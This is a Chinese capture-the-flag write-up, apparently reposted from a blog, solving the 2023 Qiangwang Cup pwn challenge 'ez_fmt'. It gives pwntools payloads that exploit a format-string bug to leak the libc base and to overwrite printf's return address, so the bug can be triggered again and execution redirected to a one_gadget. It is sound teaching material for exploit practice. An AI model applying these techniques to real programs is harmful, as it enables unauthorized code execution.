本来想拿这次2023强网杯练个手,发现要么堆题要么沙箱,还有一些没见过的题型(看来堆的学习要提上日程了),唯一能做的就是强网先锋的ez_fmt
。从这题学习到了一点新知识,写个文章记一下。
分析
题目逻辑很简单,在main
函数中都写清楚了:
main
程序中没有后门,需泄露libc基地址。另外,程序的保护情况如下:
➜ ez_fmt checksec ez_fmt
[*] '/mnt/d/CTF/practice/ez_fmt/ez_fmt'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Got
表不可写,故不能通过修改got表进行跳转。
exp
这里就分为两个部分吧,刚好对应学到的两个东西。
1、leak libc
首先要leak
出libc
的基地址,这里有两种方法:
-
利用栈上某个地址的值通过计算得到 libc
基地址 -
泄露函数 got
表
先介绍第一种吧。先通过gdb
本地动态调试,使用vmmap
查看各个部分的地址分布:
得到libc
的基地址为0x7ffff7dd5000
。
再通过调试查看栈上的变量,看一下哪一个地址的值在libc
加载的区间内:
一般来说,这个__libc_start_main+243
的值都会在libc
的加载区间内,具体适用性如何不详,需通过调试确定。
所以,可以通过格式化字符串漏洞来泄露这个地址(0x7fffffffde98
),从而计算libc
基地址,具体如下:
main_addr = 0x4011A2
payload = fmtstr_payload(6, {buf_addr - 0x8: main_addr}, write_size='int')
payload = payload[:-15] + b"%9$llna" + b"%10$saaa" + payload[-8:] + p64(buf_addr + 0x68)
p.send(payload)
libc.address = u64(p.recvuntil(b"x7f")[-6:].ljust(0x8, b"x00")) - libc.sym["__libc_start_main"] - 243
log.success("{}:{:#x}".format("libc.address", libc.address))
第一次发送payload
,通过fmtstr_payload
工具构建payload
来修改某个地址的值(这边留着第二部分说明),然后要泄露0x7fffffffde98
的值,但是不能直接接在原来的payload
后边,因为64位的程序会有高地址x00
截断输出的问题,所以对payload
进行了重新组合。
然后是第二种。我直接给payload
main_addr = 0x4011A2
printf_got = elf.got["printf"]
payload = fmtstr_payload(6, {buf_addr - 0x8: main_addr}, write_size='int')
payload = payload[:-15] + b"%9$llna" + b"%10$saaa" + payload[-8:] + p64(printf_got)
p.send(payload)
libc.address = u64(p.recvuntil(b"x7f")[-6:].ljust(0x8, b"x00")) - libc.sym["printf"]
log.success("{}:{:#x}".format("libc.address", libc.address))
没什么好说的。一般来说第二种都是可行的,且比第一种方便了不止一点。(就是我当时忘记了)
2、修改call的返回地址
从程序流程上来看,正常运行只会执行触发一次格式化字符串漏洞。但是很明显,单单泄露libc
基地址对于这题而言是没有什么用的,所以这边考虑在泄露基地址的同时,修改call _printf
这条语句的返回地址。
静态分析一下。当程序执行到0x401239
,即call _printf
时,rsp
指针此时指向buf
的地址,下一步操作则会把下一条指令地址(0x040123E
)压栈,压入的地址为rsp - 0x8
,也就是buf - 0x8
,之后跳转到printf
函数的地址去执行相应的操作。
这个时候,如果利用格式化字符串漏洞将call
指令的返回地址进行修改,就可以跳过更下边对w
变量的重新赋值,且可以二次触发格式化字符串漏洞,即:
main_addr = 0x4011A2
payload = fmtstr_payload(6, {buf_addr - 0x8: main_addr}, write_size='int')
最终
通过第一次格式化字符串漏洞得到基地址,第二次就可以直接跳转到one_gadget
的位置了。
想做个记录的原因是,以前从来没有想过修改call
指令的返回地址,学到了学到了。
原文始发于微信公众号(Stack0verf1ow):【PWN】2023 “强网杯” - ez_fmt
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论